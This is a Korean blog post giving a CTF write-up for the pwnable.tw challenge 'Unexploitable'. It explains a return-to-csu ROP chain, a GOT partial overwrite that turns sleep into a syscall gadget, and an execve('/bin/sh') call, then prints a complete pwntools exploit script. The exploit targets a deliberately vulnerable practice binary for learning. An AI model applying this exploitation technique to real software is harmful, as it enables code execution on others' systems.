ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [ 500pts ] Unexploitable
    System/Pwnable.tw 2019. 3. 8. 18:35

    pwnable.kr의 unexploitable보다 더 어렵게 만들었다고 한다.

    딱히 뭐가 더 어렵다기 보다는 풀이방식이 서로 다르기 때문에 각 각의 매력이 있는 것 같다.

     

    [ File ]

    64Bit : Fastcall

    Dynamically Linked: 공유라이브러리 사용

    not stripped: 안티 디버깅 미적용


    [ Mitigation ]

    Partial RELRO: GOT Overwrite 가능

    NX: 실행권한 없음


    [ Gadget ] 

    Exploit에 필요한 가젯도 없는 상태다.


    [ How to Exploit? ]

    우선 인자구성에 필요한 가젯이 없기 때문에 ( pop rdi, rsi, rdx, ret )

    이럴 때는 'Return to csu'를 이용해서 인자들을 세팅해줄 수 있다.


    Exploit시나리오는 여러가지 방법이 있는데, 나는 Syscall로 문제를 풀었다.


    [ Create Syscall ]

    먼저 syscall가젯이 없기 때문에, GOT Overwrite로 Syscall가젯을 만들어줘야 한다.

    ASLR이나 PIE같은 랜덤화 보호기법이 적용되어 있어도 offset값은 같다는 점을 이용하는건데,

    상세한 내용은 [Syscall 없을때] 이 글을 참고하면 된다.

    sleep_got의 하위1Byte에 Syscall_1byte를 덮어씌어서 sleep_got를 Syscall로 만들어준다.


    [ Save "/bin/sh\x00" ]

    다음에는 execve( )에 첫번째 인자로 넘겨줄 "/bin/sh\x00"문자열을 .bss영역에 저장해준다.


    [ Return to vuln ]

    그 다음에는 payload길이 제한에 걸리기 때문에취약점이 발생하는 함수를 다시 불러줘야 한다.

    여기서 주의해야 할점이 main( )를 R12에 바로 넘겨주면 안된다.

    qword ptr 로 값을 참조해서 Call하기 때문에, BSS영역에 main( )주소를 저장하고 이 주소를 넘겨줘야 된다.



    [ Set RAX(59) ]

    두 번째 Payload에서는 execve( )를 호출할 준비를 한다.

    [POP RAX]가젯이 없기 때문에, read( )의 반환값이 RAX에 저장되는 것을 이용해서 Call_Number를 맞춰준다.

    64Bit에서 execve( )의 Call_Number는 59(0x3b)다.


    [ Syscall execve( ) ]

    각 인자에 맞게 값을 맞춰준 뒤, syscall(sleep_got)를 불러주면 execve("/bin/sh",NULL,NULL)이 실행된다.


    [ Exploit! ]



    [ Payload ]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    from pwn import *
     
    = remote("chall.pwnable.tw",10403)
    #p = process("./unexploitable")
     
    sleep_got =0x601010
    ret_csu = 0x4005e6
    ret_csu2 = 0x4005d0
    read_got = 0x601000
    re_main = 0x400544
    bss = 0x601028
    binsh = "/bin/sh\x00"+p64(re_main)
     
    script = """
    b*0x4005e6
    b*0x400577
    """
     
    #gdb.attach(p,script)
    payload = "A"*24
     
    #SYSCALL_OVERWRITE
    payload += p64(ret_csu)
    payload += p64(0xDEADBEEF)
    payload += p64(0)#RBX
    payload += p64(1)#RBP
    payload += p64(read_got)#R12
    payload += p64(0)#R13 => EDI
    payload += p64(sleep_got)#R14 => RSI
    payload += p64(1)#R15 => RDX
    payload += p64(ret_csu2)
     
    #SAVE_"/bin/sh\x00"
    payload += p64(0xDEADBEEF)
    payload += p64(0)#RBX
    payload += p64(1)#RBP
    payload += p64(read_got)#R12
    payload += p64(0)#R13 => EDI
    payload += p64(bss)#R14 => RSI
    payload += p64(len(binsh))#R15 => RDX
    payload += p64(ret_csu2)
     
    #RE_MAIN
    payload += p64(0xDEADBEEF)
    payload += p64(0)#RBX
    payload += p64(0xDEADBEEF)#RBP
    payload += p64(bss+0x8)#R12
    payload += p64(0)#R13 => EDI
    payload += p64(0)#R14 => RSI
    payload += p64(0)#R15 => RDX
    payload += p64(ret_csu2)
     
    #SET_RAX(59)
    payload_2 = "B"*24
    payload_2 += p64(ret_csu)
    payload_2 += p64(0xDEADBEEF)
    payload_2 += p64(0)#RBX
    payload_2 += p64(1)#RBP
    payload_2 += p64(read_got)#R12
    payload_2 += p64(0)#R13 => EDI
    payload_2 += p64(bss+len(binsh))#R14 => RSI
    payload_2 += p64(59)#R15 => RDX
    payload_2 += p64(ret_csu2)
     
    #CALL_EXECVE_SYSCALL
    payload_2 += p64(0xDEADBEEF)
    payload_2 += p64(0)#RBX
    payload_2 += p64(1)#RBP
    payload_2 += p64(sleep_got)#R12
    payload_2 += p64(bss)#R13 => EDI
    payload_2 += p64(0)#R14 => RSI
    payload_2 += p64(0)#R15 => RDX
    payload_2 += p64(ret_csu2)
     
    sleep(3)
    p.sendline(payload)
    print "[*]SENT PAYLOAD_1..."
    sleep(0.1)
    p.send("\x55")
    sleep(0.1)
    p.send(binsh)
     
    sleep(3)
    p.sendline(payload_2)
    print "[*]SENT PAYLOAD_2..."
    sleep(0.1)
    p.sendline("A"*59)
    print "[*]SET_EXECVE_CALLNUM..."
     
    p.interactive()

    cs

    댓글

Designed by Tistory.